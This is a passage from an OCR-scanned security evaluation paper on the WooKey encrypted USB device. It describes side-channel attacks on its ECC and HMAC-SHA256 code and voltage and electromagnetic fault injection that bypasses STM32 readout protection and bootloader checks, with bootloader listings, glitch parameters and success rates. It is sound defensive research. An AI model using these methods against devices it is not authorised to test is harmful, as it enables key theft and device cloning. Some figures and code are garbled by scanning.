Figure 15 illustrates the operations of two successive iterations performed
depending on the scalar bit value, with:

13. In fact, the Big Mac targets modular exponentiation implementation but applies
to ECC as well.
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— DBL and ADD being the illustration of elliptic curve points dou-
bling and addition respectively; the incoming arrows are inputs
and outgoing arrows are the results;

— T is the accumulative point of the ECSM;

— P is the base point of the ECSM.

T Tioy T; Tioy
‘ DBL | ‘ DBL | ‘ DAL ‘ ‘ DBL ‘
P —‘ ADD | P —‘ ADD | P —‘ ADD ‘ P —‘ ADD ‘
—— | |
discard

Fig. 15. Operations sequence of two iterations of ECSM if m; = 0 (left) and if
m; = 1 (right)

Then, by comparing one input of the addition at iteration ¢ and the
input of the doubling at iteration ¢ — 1, the attacker is able to deduce m;.
We analyzed the formulas used in libecc, in the file prj_pt_monty.c.
The three input point coordinates are multiplied by other values, in
both the doubling and addition formulas. Therefore, three Montgomery
multiplications can be used for comparison by the attacker.

From the above analysis, we conclude that libecc is vulnerable to a
horizontal collision attack.

12.3 Discussion of the exploitation of the vulnerability

Unfortunately, we did not validate the vulnerability with experimental
results, due to the time consumed for the 1ibecc evaluation within the
inter-CESTI challenge time frame. However, we strongly believe that this
attack is practical to target individual bits of the scalar k. Indeed, the
success rate suggested in [28] is quite high given solely one Montgomery
multiplication. Here, we have access to three Montgomery multiplications.

In the Minerva attack [24], only a very few bits per signature are nec-
essary to recover the private key d. However, 1libecc implements a scalar
randomization countermeasure, making the Minerva attack unfeasible
(more specifically, exploiting the Hidden Number Problem is not possible
anymore). Therefore, the attacker would have to perform the attack on
all iterations to recover all the bits of k, making it more difficult.
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In conclusion, the attack would be practical with a strong expertise
in side-channel experimentation and many tries on a legitimate WooKey
target.

13 HMAC-SHA256 SCA against the message

13.1 State of the art and attack overview

During the pre-authentication phase, the WooKey platform checks
the integrity of its locally stored EPK (Encrypted Platform Key). To
achieve this step it computes an HMAC-SHA256 over the message
(IV || Salt || EPK), which will be called BigEPK in the rest of this
section. The key which is used to compute the HMAC is called KPK and
is provided by the token. This KPK is intended to be correct only if the
PetPIN was correct. If the attacker replaces the original token by its own
token or another hardware, he can choose the KPK used during the HMAC
computation in the platform. Since the static and fix message BigEPK is
“mixed” with the chosen KPK, the adversary is able to attempt Differential
Power Attacks (DPA) or Correlation Power Attacks (CPA). If he succeeds,
he could know the value of BigEPK which is the only secret of the platform
(although in encrypted form): the attacker could clone the platform in
such a situation. So the attacker needs to steal the platform, execute the
attack, make a clone with BigEPK but with modified code which allows
to memorize the secret assets in internal flash for instance, put back the
platform to its owner and finally make later a secondary robbery in order
to retrieve all the secrets. The steps are numerous but a successful attack
is powerful.

To the best of our knowledge, the HMAC and SHA-2 functions seem to
have little scrutiny in the Side Channel Analysis literature. All published
attacks against HMAC actually target the embedded hash function, e.g.
SHA-2. A first paper was written in 2007 by McEvoy et al. [47] which
mount a DPA attack with the Hamming distance model. In 2013 Belaid
et al. [29] extend the attack with a leakage in the Hamming weight model.
Finally in 2018 Kannwischer et al apply the same attack method as Belaid
et al. but against a SHA-2-based PRNG generation for XMSS [45].

The HMAC function is defined as:

HMAC(m, k) = H((k xor opad) || H((k xor ipad) || m))

where m is the message, k is the key, and ipad and opad are fixed
constants. H is the hash function which is SHA-2 for McEvoy’s or Belaid’s
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studies. In the case of XMSS, the formula for PRNG generation of the i-th
block is SHA-2(0x000..03 || seed || 1i). So in all cases, the known
and variable part (m resp. i) is hashed after the unknown fix and secret
part (k resp. seed). This is not the case in WooKey: m (equal to BigEPK)
is an unknown and fix secret whereas k (equal to KPK) is known and can
be manipulated. When previous attacks target the secret key, our attack
aims at retrieving the secret message.

Beyond the mere evaluation of WooKey’s usage of HMAC, one should
notice that our attack would probably be useful against the W-OTS+
hash function used in XMSS. Indeed, as precised in section 3.5 of [45], the
construction of the hash function is f_k(x)=f(0"n| |k| |x) where f can
be SHA-2. In this case, as in our attack, k is known and public and x is
the secret.

13.2 Attack details

(A[B]CID[E]F |G [H |
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\.ﬂ}éﬁ«m
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e

T2

=T
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Fig.16. SHA-2 round function (source: Wikipedia)

Our attack targets the third execution of SHA-2 in the WooKey
platform. Indeed the first one computes h1=SHA-2(KPK xor ipad) and the
second one computes h2=SHA-2(KPK xor opad). The third one computes
h3=SHA-2(h1| |m). SHA-2 round function is presented on Figure 16. All
data A to H, Wt and Kt are 32 bits long. Functions in dark blue are
composed of xor, and, or and shift. The addition is modulo 232 (which
is the normal addition on a 32-bits CPU). Kt is a known constant which
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changes at every round. At first round Wt is the first word of the message
(equal to BigEPK in WooKey context) which the attacker wants to retrieve
and A to H contain the result of first SHA-2 h1: these values are known but
cannot be chosen. For every execution of the HMAC, the attacker can make
a guess on Wt value. As other values are known, he can compute T1, T2
and T3 intermediate results. He can then compute the Pearson correlation
factor between the Hamming weight (HW) of each of these values and
each measurement over time of any physical quantity. Depending on the
measurement quality and as we know that no countermeasure has been
implemented, the correct Wt word should be found with the guess which
has the highest correlation. The attacker can then compute the next values
for A to H and reproduce the attack on next round. Finally he can make
the attack at every round of SHA-2 and so find the whole message. As
Wt is 32 bits wide, the guess space is very large for each time sample of
every trace. As a result the need for RAM memory and the computation
duration are huge. In order to make it easier and quicker, we have used
the same technique as previous studies so called “Partial DPA”. It simply
consists of considering each byte of Wt independently. At each round, the
first guess is done on the least significant byte Wt [0]. So there are only
256 possibilities. It is the same for T1[0], T2[0] and T3[0]. The attacker
makes then three Correlation Power Analysis (CPA) with the HW of each
of these bytes. When Wt [0] has been found, he makes a guess on Wt [1]
and computes T1[1], T2[1] and T3[1]. He realizes again a CPA with
the HW of these bytes and finds Wt [1]. Wt [2] and Wt [3] are processed
and retrieved the same way. This method could suggest that an error on
a lower byte will make the attack on next byte unfeasible: we provide
insights and discuss this issue in Appendix C.

13.3 Setup details and characterization on open platform

Before performing our attack on the WooKey platform, we designed
a specific board on which only the STM32F439 is routed. The board
contains only the minimum of decoupling capacitors. A serial resistor is
inserted on the ground in order to measure the current consumed by the
chip. We also extracted the HMAC function from the WooKey source
code and implemented our own command manager so that we are able
to easily change the KPK value. The WooKey kernel is not present and
no service can interrupt the manager linear execution, but the internal
hardware parameters of the STM32 is the same as on WooKey (like the
frequency which is set up at 168 MHz). A GPIO has been used in order
to make the synchronization easier.
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With this hardware and software specific setup we probably have better
conditions than the direct attack on the WooKey platform, but it will
show us if and how we can fully realize the attack. The oscilloscope we
used to acquire our power measurements is a high end model with large
bandwidth. We did not choose it because of its capabilities which were
not fully exploited but simply because it was available in the ITSEF labs.
Its sampling rate was set to 500 MS/s so as to be above twice the target
frequency. In these conditions, the needed amount of samples are equal to
100,000 to see the whole HMAC execution.

The Figure 17 shows the execution of the HMAC in these conditions.
The blue trace is the GPIO that we added in the source code. We used this
signal to trigger the beginning of the HMAC_Update phase. The red trace
is a raw acquisition of the current. The pink trace is the raw average over
20 traces with the same key. No specific post-alignment has been done.
We can see that the average has less noise than the raw one whereas the
amount of information is still present over time. We could have acquired
every trace and then have used them in the CPA but in this case the total
transfer would have lasted longer and the disk space would have been also

larger. That is why we decided to use the average traces to mount the
CPA.

We realized our CPA on the beginning of HMAC_Update on intermediate
values T1, T2 and T3. The results on Wt [0] at first round are presented
on Figure 18: it shows for every guess the evolution of its maximum of
correlation against the amount of average traces. We can see that T2 and
T3 find the same (and correct) value with very few average traces and that
it remains stable when the amount of traces goes up. We note that T3
is less efficient than T2 probably due to the different amount of modular
additions involved for their computation and this is the only non linear
operation in SHA-2 round. Contrary to T2 and T3, T1 does not work at all
even with large amounts of traces, and we cannot really explain why. This
might be due to the fact that the quantity of additions is even lower for
T1, nevertheless we would have expected it to work with higher amount
of traces than T2 and T3. Another hypothesis is that T1 might not be
directly computed by the HMAC whereas this variable is present in the
source code: the compiler might have made an optimization and T1 is
never directly used at any assembler line. We missed time to investigate
this assumption.

The attack works very well on T2 and T3 for other bytes and rounds.
The Figure 19 shows the results for the three first rounds using T2. We
can see that the correct values of Wt bytes can be found with around 1,000



ANSSI, French ITSEFs 151

averaged traces. This is particularly true after the first round. Indeed this
one has lower correlation values than next rounds: this is still an open
point in our results that could lead to further investigations.

13.4 Acquisitions on the WooKey platform

On the WooKey platform there are two main differences with our
specific setup: first, the power consumption cannot be measured as there
is no serial resistor on the ground or the Vdd and second, there is no
synchronization GPIO. Concerning the measurement issue, the attacker
could use an electromagnetic sensor but this is an additional tool which
needs to be located precisely over the target. Furthermore, EM signal
needs much higher sampling frequency: it means also that an expensive
scope and larger amount of samples per trace would be needed. There is
an easier way without modifying the WooKey platform: we measured the
voltage at the VCAP_1 pin on which the STM32F439 needs an external
decoupling capacitor. It is connected to the internal voltage regulator and
the goal of this capacitor is to absorb the current spikes when the core
needs more power. In order to have a correct synchronization we used the
ISO7816 10 signal between the token and the platform. As the attacker
has to replace the original token, it means he knows the IO sequence sent
by his token and he is able to synchronize on its last answered byte.

The Figure 20 shows an execution of the HMAC on the WooKey
platform. Synchronization is achieved through the green IO signal. The
blue signal shows the VCAP_1 voltage and the pink one shows the same
signal but after a low pass filter. We observe that every phases of the
HMAC are visible on the traces. The HMAC_Update phase lasts three times
longer as three SHA-2 are needed to hash BigEPK. Averaging the traces
directly on the scope as we did previously is not a good idea as the IO signal
is not completely synchronized. So it seems that post synchronization
after the acquisition of each trace is needed. This is an additional step but
it does not seem to be difficult. Another interest of traces post-alignment
would be to remove traces where an interruption pattern can be observed
during SHA-2 processing (due to kernel preemption and so on).

13.5 Attack quotation

The complete attack on the WooKey platform was not realized but we
estimate that the nature of the observed signals should lead to the same
vulnerability of the HMAC execution against SCA. However it has to be
noticed that the attacker would have to replace the WooKey screen by
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another SPI driven hardware so that he can repeatedly send the PetPIN
with high accuracy instead of using his fingers on the touch screen (see
the attack described in section 7 for details on how to perform this). The
complete amount of time needed for the evaluation of the HMAC function
was 19 days, including 2.5 days for report writing. The used equipment
is a high end digital scope which is expensive. As we do not need its
full specifications like the high bandwidth for this product, it would be
interesting to see if the attack is still doable with cheaper acquisition tools
like ChipWhisperer [3] or PicoScopes [12], which is left as future work.

14 Voltage fault injection attack on Readout Protection

Like most microcontrollers with integrated flash, the MCU embedded
in WooKey offers a protection against firmware readout or tampering.
This feature allows to protect sensitive assets, like cryptographic keys, in
confidentiality and integrity. In addition, the WooKey Bootloader performs
a verification to enforce the activation of this protection in a dedicated
state denoted RDP_CHECK, as shown on Figure 21.

RDP_CHECK DFU_WAIT SELECT_BANK

BOOT FW FLASH_LOCK FW_INTEGRITY HEADER_CRC

Y

Fig. 21. Bootloader state automaton, initial implementation

Readout protections, implemented in most MCUs, are known to be
weak and prone to fault injection attacks. The main goal of the attack
detailed hereafter is to dump EPK, the encrypted platform keys used
to ensure the authenticity of the WooKey board during user unlocking.
Indeed, the dumped firmware (or only EPK as the firmware is public) can
be used to build a malicious firmware which will be injected back into the
WooKey board or on a clone of it, and then steal user secrets by deceiving
him. In the remainder of this section, a two-step attack is considered: first,
disabling the readout protection to gain access to the JTAG interface and
then bypassing the software verification implemented in the Bootloader.
In case of success, assets can be dumped to build a malicious device. To
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perform this attack, the WooKey board needs to be stolen and trapped,
returned to its owner and eventually stolen again.

14.1 STM32 RDP attack state of the art

The STM32 series features a security function for JTAG and memory
lock called RDP (Readout Protection). There are 3 different protection
levels:

— Level 0: no read protection. RDP option byte is set to 0xAA.

— Level 1: no access to flash memory or backup SRAM can be per-
formed once a debug probe is connected or while booting from
SRAM or system memory bootloader (the bootROM). This protec-
tion level is not permanent and can be reverted by rewriting the
option bytes. Downgrade to level 0 causes the flash memory and
backup SRAM to be mass-erased. In order to activate the level 1
protection, any value (except 0xAA or 0xCC) has to be set in the
RDP option byte.

— Level 2: in this level, all protections provided by level 1 are active.
Additionally, booting from SRAM or system memory is no longer
possible. JTAG interface is also disabled. Setting the RDP level
to level 2 is irreversible because, in this mode of operation, option
bytes can no longer be changed. In order to activate the level 2
protection, 0xCC value has to be written into RDP option byte.

In [32], the RDP level 2 has been attacked with voltage glitch fault
injection allowing a downgrade to RDP level 1. Downgrade to RDP
level 0 by modifying the value using glitch fault injection is found not
possible because of the required precise bit manipulation. In this paper,
the attack is performed on a STM32F3 during the power-up phase. The
main difference between STM32F3 and STM32F4 (used by the WooKey
product) is the duplication of the RDP value in flash memory. However,
this work demonstrates that this additional protection does not protect
against RDP downgrade.

RDP level verification To fully validate the attack path, the verifi-
cation of the RDP level performed by the WooKey Bootloader must be
weak against fault injection. A source code analysis of this mechanism is
therefore carried out. The Listing 8 illustrates the corresponding piece
of code. A successful fault attack would cause the execution flow to go
through FLASH_RDP_CHIPPROTECT case. Considering that the normal case
when no fault is injected is the FLASH_RDP_MEMPROTECT case, a double
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fault injection is needed: one to bypass the FLASH_RDP_MEMPROTECT case
and another to enter the FLASH_RDP_CHIPPROTECT case. Additionally
the decompiled assembly (using Ghidra [6]) is analyzed to ensure that
no optimization performed by the compiler could lead to a single fault
injection.

static loader_request_t loader_exec_req_rdpcheck(loader_state_t
nextstate)

/* entering RDPCHECK */
loader_set_state(nextstate);
/* default next req */
loader_request_t nextreq = LOADER_REQ_SECBREACH;
#if CONFIG_LOADER_FLASH_RDP_CHECK
/* RDP check */
switch (flash_check_rdpstate()) {
case FLASH_RDP_DEACTIVATED:
goto err;
case FLASH_RDP_MEMPROTECT:
goto err;
case FLASH_RDP_CHIPPROTECT:
dbg_log("Flash is fully protected\n");
dbg_flush();
/* walid behavior */
nextreq = LOADER_REQ_DFUCHECK;

break;
default:
break;
}
#else
nextreq = LOADER_REQ_DFUCHECK;
#endif

return nextreq;

}
Listing 8. RDP check extracted from the attacked WooKey Bootloader

loader_request_t loader_exec_req_rdpcheck(loader_state_t nextstate)
{
t_flash_rdp_state tVaril;
loader_request_t nextregq;
loader_set_state(nextstate);
nextreq = LOADER_REQ_SECBREACH;
tVarl = flash_check_rdpstate();
if (tVarl == FLASH_RDP_DEACTIVATED) {
NVIC_SystemReset () ;
do {
/% WARNING: Do mnothing block with infinite loop
*/
} while( true );
}
if (tVarl == FLASH_RDP_CHIPPROTECT) {
dbg_log("Flash is fully protected\n");
dbg_flush();
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nextreq = LOADER_REQ_DFUCHECK;

}
else {
if (tVarl == FLASH_RDP_MEMPROTECT) {
NVIC_SystemReset () ;
do {
/% WARNING: Do mnothing block with infinite loop
*/
} while( true );
}
¥
return nextreq;

}
Listing 9. Compiled code of the RDP check function

Reverse engineering of the binary presented on Listing 9 shows
that the FLASH_RDP_CHIPPROTECT case is actually handled before the
FLASH_RDP_MEMPROTECT case leading to the exploitation of the weak veri-
fication with only a single fault injection.

14.2 Setup of the attack

To ease the fault injection setup and avoid chip replacement on WooKey
open platform (due to a potential destruction of the chip), these tests are
performed on a STM32F439 chip placed in a custom board with TQFP100
socket. As the BYPASS_REG pin in not accessible on TQFP100 package,
the voltage regulator cannot be deactivated. Thus, injecting voltage glitch
through Vdd power supply is less efficient. However, Vcap pin is accessible
allowing to inject glitches directly on the CPU power supply, after the
voltage regulator (see Figure 22 left). To inject voltage glitches, a PMOS
transistor is placed in parallel of the capacitor of one of the two Vcap
pins (see Figure 22 right). The PMOS transistor is chosen to allow fast
switching (tRISE +trarn < 20 ns).

14.3 Test description

To sum up, a double fault injection attack scenario is found possible:
one fault on the STM32F4 core boot sequence for the RDP level downgrade
(to RDP level 1), and another fault on WooKey Bootloader to bypass the
RDP level verification. In case of success, the JTAG probe is connected
during the firmware integrity check operation which goes through the
whole firmware to compute its SHA-256 hash. Connecting the JTAG probe
in RDP level 1 halts immediately the STM32 core allowing to dump the
part of code which is being hashed. Repeating the attack, by incrementing
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Fig. 22. Power supply on STM32F4 (left) - Fault injection setup (right)

the timing where the JTAG probe is connected, allows to retrieve the
whole firmware. Knowing the exact position of the EPK key in the firmware
can accelerate the attack, requiring only few iterations of the attack. We
describe each partial attack individually hereafter before presenting the
full attack path exploitation.

RDP level downgrade First, a signal analysis is performed to find
the attack timing where the glitch has to be injected. The MCU power
consumption is recorded at the start-up of the chip, before the execution
of the user’s firmware.

As the boot process is targeted in this attack, the chip needs to be
power cycled at each iteration. A programmable power supply unit is used
to do that. The JTAG probe, controlled by a python script, is used to
verify if the attack succeeded. After each fault injection, the JTAG probe
tries to read the SRAM. If the probe cannot be connected to the ARM
core, the attack did not succeed.

Figure 23 highlights a fault injection timing where exploitable faults
were obtained. In this timing window, several timings are found where a
downgrade to RDP level 1 is possible. A statistical evaluation over 20,000
runs allows to identify the best one with the highest success rate. Finally,
downgrading to RDP level 1 using glitch fault injection is found possible
with a success rate of 1.5 %.

RDP level verification bypass A fault injection on the RDP level
verification mechanism is then performed. A chip is configured in RDP
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level 1 to emulate a success of the first fault injection. To ease the signal
analysis, a GPIO is raised before the execution of the RDP level verification.
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Fig. 24. Signal analysis of RDP level verification mechanism

level does not match the expected one. This is used to identify the end of
the RDP level verification (see Figure 24).

Then, the window identified during the signal analysis is scanned using
glitches until the right glitch parameters (i.e. the parameters for which
the chip does not restart) are found. Finally, a timing is identified where
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the reset did not occur and the firmware continues its execution. After an
optimization of the fault injection parameters, the success rate for this
attack is around 10 %.

Full attack path Finally, the full attack has been tested. Figure 25
shows the fault injection timing for each pulse. Without fault injection,
the firmware continues its execution due to RDP level 2 protection.
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Fig. 25. Signal analysis of both boot and RDP verification

The firmware being public, a simulation of its execution is performed
allowing to find the area in SRAM used for firmware manipulation during
the firmware integrity check. Thus, only the SRAM area identified has to
be dumped to extract the product firmware.

Then, JTAG probe is connected 2.1 seconds after the chip start-up,
corresponding to the timing where firmware check is performed. This
limitation did not allow to perform as many fault injections as for the
partial attacks. Despite of this, combining the two fault injections succeed
with a success rate of 0.1 % in means: 16 bytes of the firmware can
be dumped and verified using the HEX file corresponding to the loaded
firmware.

14.4 RDP level verification improvement

A new code version has been deployed to fix the exploitable vulnerabil-
ity described previously. This time, the RDP level verification is performed
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several times during the boot process which significantly complicates the
attack path. This is done through a modification of the Bootloader state
automaton in which the RDP_CHECK state is executed between each other
state, as shown on Figure 26.

DFU_WAIT SELECT_BANK

RDP_CHECK PR HEADER_CRC

BOOT_FW FLASH_LOCK ; FW_INTEGRITY E

SECBREACH  Seupd g

Fig. 26. Bootloader state automaton, new implementation

An analysis of the assembly code highlights that bypassing the normal
process flow of the loader by jumping directly into the integrity check
step requires a total of 5 pulses with 4 pulses produced in few CPU
cycles. Furthermore, altering the process flow and jumping to another
function results in a security breach detection and a mass flash erase which
invalidates this attack path. This analysis has been confirmed through
simulations on the WooKey firmware.

Therefore, another approach is adopted. The goal is to downgrade to
RDP level 1, to load a crafted payload in SRAM and to try to perform
malicious operations through it. Actually, the STM32 documentation states
that the flash memory is unreachable when a JTAG probe is connected or
when booting in SRAM if RDP level is above 0. To ensure that the flash
is really fully disconnected, a code which jumps to a given flash memory
address is loaded in SRAM. The execution works well when RDP level
is set to 0 but a hard fault interruption occurs when RDP level is set
to 1. Modifying the VTOR register to relocate the interrupt vector table
in SRAM results in triggering nested hard faults. Considering that the
flash memory is really not accessible, this attack path is hence found not
exploitable.

14.5 Conclusion

This attack shows that both the hardware readout protection mech-
anism and the corresponding software check of WooKey were initially
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vulnerable allowing to dump the firmware. Glitch fault injection method
has the advantage to be a low cost attack, easy to setup for an attacker.
The complexity of this attack lies in the precision required for the fault
injection timing in order to optimize the double pulse success rate. Indeed,
dumping the whole firmware or only some secret keys require to reproduce
this attack multiple times.

Finally, this vulnerability is no longer exploitable on the last version of
the WooKey firmware. The work done to correct this vulnerability shows
that even if the hardware itself is still vulnerable, software solutions exist
to overcome (or at least limit) this weakness.

15 EM fault injection attacks on the Bootloader

Electromagnetic (EM) based fault injections have been experimented
on the WooKey platform, and more specifically against the Bootloader.
This kind of attacks has become affordable and relatively easy to setup,
notably thanks to the ChipSHOUTER platform [2]. However, a first
necessary step to achieve a working fault injection bench is to have an
XYZ table. A cheap yet efficient solution is to use a 3D printer or a CNC
driven with gcode based scripts. The bench is also completed with an
external trigger in order to achieve a better time resolution in the delay
programming, as well as for the pulse width. All these elements, as well
as the target MCU, are driven using Python scripts and four UARTS.

The first step is to characterize the injection coils that are the main
EM pulse source on the MCU surface. All the possible pulse widths are
not achievable, and it is necessary to observe the voltage and the current
generated by the pulses using an oscilloscope plugged to the dedicated
SMAs on the ChipSHOUTER. As a matter of fact, the original coil head
of 1 mm is only able to produce significant pulses with widths between 20
and 40 ns, with a global width of 60 to 100 ns.

An external trigger has been developed in Verilog on an ICE40 FPGA
and running at 240 MHz. Its basic time unit is consequently 4.2 ns. In
order to get a 28-bit counter and achieve programmable delays up to 1
second, a raw adder cannot be used since there is not enough time to
propagate carries along 28 bits in 4.2 ns. The trick consists in using a
28-bit LFSR (Linear Feedback Shit Register), at the expense of more
computations for the initial state depending on the expected number of
cycles. The delay and the pulse width are programmable using an UART
synthesized inside the FPGA, and a 200 ns delay is added after the pulse
in order to avoid the noise generated by the ChipSHOUTER (this can
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create a chain reaction since the pulse could be interpreted as a trigger,
generating new pulses and so on).

In order to understand the pulses effects on the target MCU, tests have
been conducted using a simple unrolled loop with two interlaced counters,
and observing their states after the fault injection. As opposed to voltage
glitches, EM fault injections have many setup parameters to explore: the
coil choice, the coil direction (and for horseshoe coils their angle), the coil
XY7Z positions in space, the pulse delay, the injection voltage, the pulse
repeat factor, and the pulse shape when it is controllable.

When fixing some of the parameters, it is possible to perform a cartog-
raphy of the pulse effects depending on the other variable parameters (e.g.
the position of the coil in the XY plan). An example of such a cartography
is provided on Figures 27 and 28. The blue colored zones represent hangs of
the STM32, the purple ones represent reboots, and the yellow/orange/red
capture cases where one to hundreds instructions have been skipped.

Date: 20200213-141012
Tip: dmcw-hwrig
= 1.0 m
Pulse voltage: 500 v
Pulse width: 80 ns
Pulse delay: 2000 ns.
x axis: [-6.0, 8.01 mm
¥ axis: [-8.0, 8.0 mm
x axis resslution: 0.2 mm
¥ axis resolution: 0.2 mm
= moxmal behavior
B 7o wot respamsive
B Tor xebooted
: repeated instructims
: skipped < 3 insbructions
- skipped < 10 instructions
- skipped < 100 instructions
B skipped navy instructions

Fig. 27. EM fault injection cartography example

Some variations of the setup have been tested during the evaluation
time without finding large zones with enough interesting effects and
repeatability: this yields in a probabilistic process and results.
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Fig. 28. Repeatability study of a fault on a zone example

Then, the tests have been performed on WooKey’s Bootloader code,
and more specifically around the loader_exec_req_integritycheck
function that handles the firmware integrity: a manual source review
shows that the integrity test result is not doubled against fault attacks

(contrary, for example, to meta-data CRC32 check) as we can see on
Listing 10.

if (check_fw_hash(ctx.fw, part_addr, part_size) != sectrue)

{

dbg_log("Error while checking firmware integrity! Leaving \n");
dbg_flush();
goto err;

Listing 10. Firmware integrity test

It should be however noted on the produced assembly code (see Fig-
ure 29) that error handling immediately follows the tests, hence removing
this test using one fault will not be enough. Faulting the jump to the err
label should however do the trick.

We can observe that it is complex to protect the code against faults that
skip one instruction. The compiled assembly code must be checked, and as
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.text:08000C58 loc_8000C58 ; CODE XREF: loader_exec_req_integritycheck+241j
.text:08000C58 LDR R3, =(ctx - 0x8000C5E)

.text:08000C5A ADD R3, PC ; ctx

.text:08000C5C LDR R3, [R3,#(ctx.fw - 0x20000010)]

.text:08000C5E LDR R2, [R7,#0x10+4partition_size] ; partition_size

.text:08000C60 LDR R1, [R7,#0x10+partition_addr] ; partition_base_addr
.text:08000C62 Mov RO, R3 ; fw

.text:08000C64 ‘BL check_fw_hash

.text:08000C68 Mov R2, RO

.text:08000C6A LDR R3, =0xAA55AA55

.text:08000C6C CMP R2, R3

.text:08000C6E ‘BEQ loc_8000C80

.text:08000C70 LDR R3, =(a4lmerrorWhileC - 0x8000C76)

.text:08000C72 ADD R3, PC ; "\x1B[41mError while checking firmware i"...
.text:08000C74 Mov RO, R3 ; fmt

.text:08000C76 BL dbg_log

.text:08000C7A BL dbg_flush

.text:08000C7E ‘B [

.text:08000C80 ;

.text:08000C80

.text:08000C80 doc_8000C80 ; CODE XREF: loader_exec_req_integritycheck+5Et]
.text:08000C80 LDR R3, =0x500000C

.text:08000C82 B loc_8000c88

.text:08000C84 ;
.text:08000C84

.text:08000C84 loc_8000C84 ; CODE XREF: loader_exec_req integritycheck+30tj
.text:08000C84 ; loader_exec_req_integritycheck+3Ctj
.text:08000C84 Nop

.text:08000C86

.text:08000C86 err ; CODE XREF: loader_exec_req_integritycheck+6Etj
.text:08000C86 LDR R3, =0xFF35CFCF

.text:08000C88
.text:08000C88 loc_8000C88
.text:08000C88 Mov RO, R3

CODE XREF: loader_exec_req_integritycheck+721j

.text:08000C8A ADDS R7, #0x10
.text:08000C8C Mov SP, R7
.text:08000C8E POP {R7,PC}

.text:08000C8E ; End of function loader_exec_req integritycheck

Fig. 29. Compiled assembly code for loader_exec_req_integritycheck

a matter of fact most of the faults we have obtained usually skip more than
one instruction, or have other effects. In order to perform the tests without
damaging the WooKey platform, we have ported the Bootlader code on a
NUCLEO-F439ZI board with minor modifications to fit to this slightly
different platform. Flash writing functions have also been removed since
they trigger a mass erase whenever a fault is detected. Printed messages
on the UART have also been added in order to follow the Bootlader state,
a LED is turned on just before the targeted integrity check, and the
system clock is kept at 16 MHz (the WooKey platform reconfigures it to
168 MHz). In the integrity check code, the hash function computation is
completely removed to gain time during the tests — since its resulted hash
value would be incorrect and the purpose of the pulse is to skip it anyways.
The compiled code is compared to the one from the WooKey binary: in
order to get the same result a -00 compilation flag must be used to turn
off optimizations. From loader_exec_req_integritycheck to the result
processing, a hundred of microseconds are necessary (i.e. 1600 cycles at
16 MHz).

A first test campaign is performed with pulses of 400 V and 80 ns
width on some of the yellow-orange zones of the cartography presented on
Figure 28 with random delays between 0 and 100 us, with a 80 tests per
minute rate. A first observation, rather unexpected, is that we regularly
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see large portions of the firmware dumped on the UART. Since the UART
is disabled on the production WooKey board, this is not a relevant attack
path. Nonetheless, similar results could be obtained when attacking the
USB enumeration as it has been demonstrated by Micah Elizabeth Scott
in PoC||GTFO [54] on another hardware platform. After 500 attempts,
a first firmware integrity check bypass can be successfully observed as
shown on Listing 11.

Next state: REQ_INTEGRITYCHECK.
Locking flash write

“[[7mBooting FLIP in nominal mode
“[[OmJumping to FW mode: 8020189
Next state: REQ_RDPCHECK

RDPO, Flash is readable

Next state: REQ_BOOT

Geronimo !

Listing 11. Firmware integrity check bypass UART log

The UART message seems to advocate for a complete function call
bypass rather than an integrity check test bypass. From here, adjusting
the parameters allows to get a 7 % success rate. With more time and
tuning, a better success rate and other fault injection positions might be
obtained.

The conclusions of these experiments is that a firmware integrity check
bypass is possible although being hard to exploit: the attacker must find
a way to inject a corrupted firmware in the internal flash, then have a
successful pulse on a platform running at a ten times frequency clock,
and avoid being detected by the Bootlader to prevent a mass erase. As
a matter of fact, and in order to achieve a better robustness against
faults, the Bootlader code could benefit from more elaborate CFI (Control
Flow-Integrity) checks.

A second EM fault injection attack that has been explored is the
RDP2 to RDP1 downgrade (similar to what has been obtained with
voltage glitches in section 14). In order to be as close as possible to the
experimental voltage glitch setup on the STM32F3 of [32], the NUCLEO-
F439Z1 board has been configured in RDP2 and adapted so that a reset
instruction sent to the embedded ST-Link chip triggers a power cut-off,
yielding a Power-On-Reset on the target MCU. Observing the NRST SWD
pin allows to have a synchronization signal as close as possible to this
target. Contrary to the case where we attack a chosen code running on
the MCU (such as WooKey’s Bootlader code), attacking the RDP2 check
is performed “blindly”: there is no debug feature and feedback that allow
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to know whether the fault parameters are more or less successful. Having
only a binary result (RDP2 bypassed or not) is hence more challenging.

Since the article [32] exhibits a successful attack with a 11 us delay,
we have covered random delays from 0 to 20 us with a 4 us resolution
in our test campaigns. The complete MCU surface (100 mm?) have been
covered with random positions and 400 V/80 ns width pulses, using a
custom hand made horseshoe coil, and resulting in 250 tests per minute. In
order to quickly check the success of the attack, we try to connect to the
MCU through JTAG. A first campaign of 150,000 tests has unfortunately
provided no interesting result. Consequently, the explored surface has then
been expanded to 200 mm?, and the coil switched to the 4 mm CCW
one provided with the ChipSHOUTER. The target MCU has sadly died,
becoming unresponsive, during this second campaign of 360,000 tests. This
ended our experiments on the RDP2 to RDP1 downgrade using EM based
fault injections.

16 WooKey’s Bootloader: a formal analysis approach

WooKey’s Bootloader is a critical piece of code that cannot be up-
graded: it must therefore be free of security issues. This includes the
absence of run-time errors (RTE), the respect of functional properties and
the resistance to fault injection attacks (FIA).

Even when the source code is available (white box evaluation), it is
still a challenging task to find vulnerabilities especially in the context of a
time-limited code audit (four days were allocated to this analysis during
the challenge). Therefore, an efficient methodology needs to be applied
leveraging the best of human understanding and automated static analysis.
The purpose of the current section is to provide an insight of applying
such a methodology to the Bootloader.!4

16.1 The methodology

Fully automated analysis may work very well to detect undefined
behaviors or some CWE (Common Weakness Enumeration) registered
weaknesses, but the final verdict regarding security remains a (subjective)
human decision. One way to efficiently achieve this difficult task is to
manually browse the code while being assisted by generic tools that can

14. The Bootloader is 10 kloc, but such a methodology can be applied to more
complex projects of hundreds of kloc and more entry points.
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be configured and customized to help checking properties and obtaining
certainty about facts.

A key aspect is time, though, and the evaluator needs to efficiently
obtain results even from a subset of the code. Partial analysis is a conse-
quence of this time constraint, and might also be a necessary approach
when dealing with precise analysis techniques that do not scale well with
the code size. A way to simplify the analysis is to follow the modular
structure of the code base (sometimes with cross-modules analysis paths).

Another consequence of the time constraint is to prevent from manually
annotating the code to express a formal specification (properties, contracts)
to be verified by deductive verification, for example with Frama-C WP [5].

However, a middle approach consists in focusing on the global prop-
erties that have to be verified across multiple functions, avoiding the
complexity of writing contracts for every function. This approach has only
been very lightly applied during the WooKey challenge by specifying very
simple properties based on assertions (more elaborated global properties
can be specified as presented in [53]).

The technique called “value analysis” implemented for example by
Frama-C Eva [15] may prove, without additional annotations, the lack
of erroneous state violating global properties by abstract interpretation.
However, over-approximation may lead to uncertainty: warnings can cor-
respond to real erroneous states or just be false alarms. Disambiguation
